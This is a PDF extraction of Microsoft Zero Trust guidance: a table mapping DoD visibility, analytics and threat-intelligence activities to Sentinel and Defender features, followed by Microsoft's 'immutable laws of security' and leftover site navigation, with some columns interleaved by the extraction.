- Extend threat profiles to individual users and devices Defender for IoT supports agentless
device monitoring for cloud, on-
premises, and hybrid OT networks.
recommendations
Enable learning mode for a baseline of

your environment and connect
Defender for IoT to Microsoft Sentinel.
- Defender for IoT for organizations
- OT monitoring
- Learned baseline of OT alerts
- Connect Defender for IoT with
Sentinel
- Investigate entities with entity pages
Advanced 7.4.3 UEBA Baseline Support Pt1 Complete activity 7.3.2.

User and Entity Behavior Analytics (UEBA) within DoD
Organizations expands monitoring to advanced Microsoft Sentinel analytics rules
analytics such as Machine Learning (ML). These results Sentinel uses two models to create
are in turn reviewed and fed back into the ML baselines and detect anomalies, UEBA
algorithms to improve detection and response. and machine learning.
- Detected anomalies
Outcome:
- Implement ML-based analytics to detect anomalies UEBA anomalies
UEBA detects anomalies based on
dynamic entity baselines.
- Enable UEBA
- UEBA anomalies
Machine learning anomalies

ML anomalies identify unusual behavior
with standard analytics rule templates.
- ML anomalies
Advanced 7.4.4 UEBA Baseline Support Pt2 Fusion in Microsoft Sentinel

User & Entity Behavior Analytics (UEBA) within DoD Use the advanced multistage attack
Organizations completes its expansion by using detection in Fusion analytics rule, in
traditional and machine learning (ML) based results to Sentinel. Fusion is an ML-trained
be fed into Artificial Intelligence (AI) algorithms. Initially correlation engine that detects
AI based detections are supervised but ultimately using multistage attacks and advanced
advanced techniques such as neural networks, UEBA persistent threats (APTs). It identifies
operators aren't part of the learning process. combinations of anomalous behaviors
and suspicious activities, otherwise
Outcome: difficult to catch.
- Implement ML-based analytics to detect anomalies - Advanced multistage attack detection
(supervised AI detections)
Microsoft Sentinel notebooks
Build your own customized ML models
to analyze Microsoft Sentinel data
using Jupyter notebooks and the bring-
recommendations
your-own-Machine-Learning (BYO-ML)
platform.
- BYO-ML into Sentinel
- Jupyter notebooks and MSTICPy
7.5 Threat intelligence integration

Microsoft Defender Threat Intelligence streamlines triage, incident response, threat
hunting, vulnerability management, and cyber threat intelligence (CTI) from Microsoft
threat experts and other sources. Microsoft Sentinel connects to Microsoft Defender
Threat Intelligence and third-party CTI sources.
ﾉ Expand table

recommendations
Target 7.5.1 Cyber Threat Intelligence Program Pt1 Microsoft Defender Threat
The DoD Enterprise works with the Organizations to develop Intelligence
and Cyber Threat Intelligence (CTI) program policy, standard Connect Defender Threat
and process. Organizations utilize this documentation to Intelligence and other threat
develop organizational CTI teams with key mission/task intelligence feeds to Sentinel.
stakeholders. CTI Teams integrate common feeds of data with - Defender Threat Intelligence
the Security Information and Event Management (SIEM) for - Enable data connector for
improved alerting and response. Integrations with Device and Defender Threat Intelligence
Network enforcement points (e.g., Firewalls, Endpoint Security - Connect threat intelligence
Suites, etc.) are created to conduct basic monitoring of CTI platforms to Sentinel
driven data.
Azure networking
Outcomes: Integrate network resources
- Cyber Threat Intelligence team is in place with critical with Microsoft Sentinel.
stakeholders - Sentinel with Azure Web App
- Public and Baseline CTI feeds are being utilized by SIEM for Firewall
alerting - Azure Firewall with Sentinel
- Basic integration points exist with Device and Network
enforcement points (e.g., NGAV, NGFW, NG-IPS)
Target 7.5.2 Cyber Threat Intelligence Program Pt2 Microsoft Sentinel data
DoD Organizations expand their Cyber Threat Intelligence (CTI) connectors
teams to include new stakeholders as appropriate. Manage networking resources
Authenticated, private, and controlled CTI data feeds are in Azure with REST API.
integrated into Security Information and Event Management Establish basic integration with
(SIEM) and enforcement points from the Device, User, Network network enforcement points
recommendations
and Data pillars. using Sentinel playbooks and

Logic Apps.
Outcomes: - Virtual network REST
- Cyber Threat Intelligence team is in place with extended operations
stakeholders as appropriate - Threat response with Sentinel
- Controlled and Private feed are being utilized by SIEM and playbooks
other appropriate Analytics tools for alerting and monitoring
- Integration is in place for extended enforcement points within Find playbooks for other
the Device, User, Network and Data pillars (UEBA, UAM) network enforcement points in
the Sentinel playbook
repository.
- Sentinel playbooks in
GitHub
7.6 Automated dynamic policies

The Microsoft Security stack uses machine learning (ML) and artificial intelligence (AI) to
protect identities, devices, applications, data, and infrastructure. With Microsoft
Defender XDR and Conditional Access, ML detections establish aggregate risk levels for
users and devices.
Use device risk to mark a device as noncompliant. Identity risk level enables
organizations to require phishing-resistant authentication methods, compliant devices,
increased sign-in frequency, and more. Use risk conditions and Conditional Access
controls to enforce automated, dynamic access policies.
ﾉ Expand table
Advanced 7.6.1 AI-Enabled Network Microsoft Defender XDR

Access Automatic attack disruption in Microsoft Defender
DoD Organizations utilize the SDN XDR limits lateral movement. This action reduces the
Infrastructure and Enterprise Security effects of a ransomware attack. Microsoft Security
Profiles to enable Artificial Intelligence researchers use AI models to counteract complexities
(AI)/Machine Learning (ML) driven of advanced attacks using Defender XDR. The
network access. Analytics from previous solution correlates signals into high-confidence
activities is used to teach the AI/ML incidents to identify and contain the attacks in real-
algorithms improving decision making. time.
- Attack disruptions
Outcome:
- Network access is AI driven based on Network protection capabilities in Microsoft
environment analytics Defender SmartScreen and Web protection expand
to the operating system to block command and
control (C2) attacks.
- AI to disrupt human-operated ransomware )
Microsoft Sentinel
Use Azure Firewall to visualize firewall activities,
detect threats with AI investigation capabilities,
correlate activities, and automate response actions.
- Azure Firewall with Sentinel
Advanced 7.6.2 AI-enabled Dynamic Conditional Access

Access Control Require Microsoft Defender for Endpoint machine
DoD organizations utilize previous rule risk level in Microsoft Intune compliance policy. Use
based dynamic access to teach Artificial device compliance and Microsoft Entra ID Protection
Intelligence (AI)/Machine Learning (ML) risk conditions in Conditional Access policies.
algorithms to make access decision to - Risk-based access policies
various resources. The "AI-enabled - Compliance policies to set rules for Intune managed
Network Access" activity algorithms are devices
updated to enable broader decision
making to all DAAS. Privileged Identity Management
Use identity protection risk level and device
Outcome: compliance signals to define an authentication
- JIT/JEA are integrated with AI context for privileged access. Require authentication
context for PIM requests to enforce policies for just-
In-time (JIT) access.
See Microsoft guidance 7.6.1 in this section and 1.4.4

in User.
Next steps
Introduction
User
Device
Data
Network
Feedback
The immutable laws of security
Article • 04/12/2024
The original immutable laws of security identified key technical truths that busted
prevalent security myths of those times. In that spirit, we updated these laws focused on
busting myths in today’s world of ubiquitous cybersecurity risk.
Since the original immutable laws, information security grew from a technical discipline
into a cybersecurity risk management discipline that includes cloud, IoT and OT devices.
Now security is part of the fabric of our daily lives, business risk discussions, elections,
and more.
As many of us in the industry followed this journey to a higher level of abstraction, we

saw patterns of common myths, biases, and blind spots emerge at the risk management
layer. We decided to create a new list of laws for cybersecurity risk while retaining the
original laws (v2) as is (with a single slight change of “bad guy” to “bad actor” to be fully
correct and inclusive).
Each set of laws deals with different aspects of cybersecurity – designing sound
technical solutions vs. managing a risk profile of complex organizations in an ever-
changing threat environment. The difference in the nature of these laws also illustrates
the difficult nature of navigating cybersecurity in general; technical elements tend
toward the absolute while risk is measured in likelihood and certainty
Because it's difficult to make predictions (especially about the future), we suspect these
laws will evolve with our understanding of cybersecurity risk.
10 Laws of Cybersecurity Risk

1. Security success is ruining the attacker ROI - Security can’t achieve an absolutely
secure state so deter them by disrupting and degrading their Return on Investment
(ROI). Increase the attacker’s cost and decreasing the attacker’s return for your
most important assets.
2. Not keeping up is falling behind – Security is a continuous journey, you must keep
moving forward because it continually gets cheaper and cheaper for attackers to
successfully take control of your assets. You must continually update your security
patches, security strategies, threat awareness, inventory, security tooling, security
hygiene, security monitoring, permission models, platform coverage, and anything
else that changes over time.
3. Productivity always wins – If security isn’t easy for users, they find workarounds to
get their job done. Always make sure solutions are secure and usable.
4. Attackers don't care - Attackers use any available method to get into your
environment and increase access to your assets including compromising a
networked printer, a fish tank thermometer, a cloud service, a PC, a Server, a Mac, a
mobile device, influence or trick a user, exploit a configuration mistake or insecure
operational process, or just ask for passwords in a phishing email. Your job is to
understand and take away the easiest and cheapest options as well as the most
useful ones. These methods include anything that might lead to administrative
privileges across many systems.
5. Ruthless Prioritization is a survival skill – Nobody has enough time and resources
to eliminate all risks to all resources. Always start with what is most important to
your organization, most interesting to attackers, and continuously update this
prioritization.
6. Cybersecurity is a team sport – Nobody can do it all, so always focus on the things
that only you (or your organization) can do to protect your organization's mission.
For things that others can do better or cheaper, have them do it (security vendors,
cloud providers, community).
7. Your network isn’t as trustworthy as you think it is - A security strategy that relies
on passwords and trusting any intranet device is only marginally better than no
security strategy at all. Attackers easily evade these defenses so the trust level of
each device, user, and application must be proven and validated continuously
starting with a level of zero trust.
8. Isolated networks aren’t automatically secure - While air-gapped networks can
offer strong security when maintained correctly, successful examples are extremely
rare because each node must be completely isolated from outside risk. If security is
critical enough to place resources on an isolated network, you should invest in
mitigations to address potential connectivity via methods such as USB media (for
example, required for patches), bridges to intranet network, and external devices
(for example, vendor laptops on a production line), and insider threats that could
circumvent all technical controls.
9. Encryption alone isn’t a data protection solution - Encryption protects against out
of band attacks (on network packets, files, storage, etc.), but data is only as secure
as the decryption key (key strength + protections from theft/copying) and other
authorized means of access.
10. Technology doesn't solve people and process problems - While machine learning,
artificial intelligence, and other technologies offer amazing leaps forward in
security (when applied correctly), cybersecurity is a human challenge and can't be
solved by technology alone.
Reference
Immutable Laws of Security v2
Law #1: If a bad actor can persuade you to run their program on your computer,
it's not solely your computer anymore.
Law #2: If a bad actor can alter the operating system on your computer, it's not
your computer anymore.
Law #3: If a bad actor has unrestricted physical access to your computer, it's not
your computer anymore.
Law #4: If you allow a bad actor to run active content in your website, it's not your
website anymore.
Law #5: Weak passwords trump strong security.
Law #6: A computer is only as secure as the administrator is trustworthy.
Law #7: Encrypted data is only as secure as its decryption key.
Law #8: An out-of-date antimalware scanner is only marginally better than no
scanner at all.
Law #9: Absolute anonymity isn't practically achievable, online or offline.
Law #10: Technology isn't a panacea.
Feedback

Security Zero Trust

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Security Zero Trust

Uploaded by

Copyright:

Available Formats

Tell us about your PDF experience.

Zero Trust Guidance Center

Zero Trust implementation guidance

What is Zero Trust?

Visibility, automation, and orchestration

Small business guidance

Zero Trust adoption framework

Rapidly modernize your security posture

Secure remote and hybrid work

Identify and protect sensitive business data

Prevent or reduce business damage from a breach

Meet regulatory and compliance requirements

Progress tracking resources

Microsoft 365 deployment plan for Zero Trust

Deploy your identity infrastructure for Microsoft 365

Zero Trust identity and device configurations

Manage endpoints with Microsoft Defender XDR

Evaluate, pilot, and deploy Microsoft Defender XDR

Deploy a Microsoft information protection solution

Deploy information protection for data privacy regulations

Integrate SaaS apps for Zero Trust with Microsoft 365

Setup guide for Zero Trust with Microsoft 365

Zero Trust for Microsoft Copilots

Microsoft 365 Copilot

Copilot for Security

Zero Trust deployment plans with Microsoft Azure

Azure Virtual Desktop

Azure Virtual WAN

IaaS applications in Amazon Web Services

Microsoft Sentinel and Microsoft Defender XDR

Microsoft networking encryption

Integrate with Microsoft's Zero Trust solutions

Visibility, automation, and orchestration

Develop using Zero Trust principles

Building apps that secure identity through permissions and consent

Securing DevOps environments for Zero Trust

Rapid Modernization Plan (RaMP)

Explicitly validate trust for all access requests

Ransomware recovery readiness

Zero Trust is a security strategy. It is not a product or a service, but an approach in

Different organizational requirements, existing technology implementations, and

Training Introduction to Zero Trust

Training Introduction to Zero Trust and best practice frameworks

Documentation set Helps you... Roles

Progress tracking resources for the adoption

Recommended Zero Trust objectives for business leaders across organizations.

A methodical and phased approach to implementing a Zero Trust architecture.

A systematic way to track progress on objectives, scoped to business leaders.

Rapidly modernize your security posture

At-a-glance blueprint for Zero Trust

Download — Visio file or PDF

Business leader tracker for Zero Trust

Download — PowerPoint slide deck

Implementer tracker for Zero Trust

For business scenario project leads, IT leads, and IT implementers.

Download — Excel workbook

In-product dashboard for Zero Trust

Also see Microsoft Security Exposure Management initiatives.

For business scenario project leads, IT leads, and IT implementers.

Microsoft Zero Trust Security Posture Assessment

For IT department project leads and implementers.

Microsoft Zero Trust Security Posture Assessment

Zero Trust Assessment strategy workshop

Zero Trust Assessment strategy workshop downloadable Excel workbook at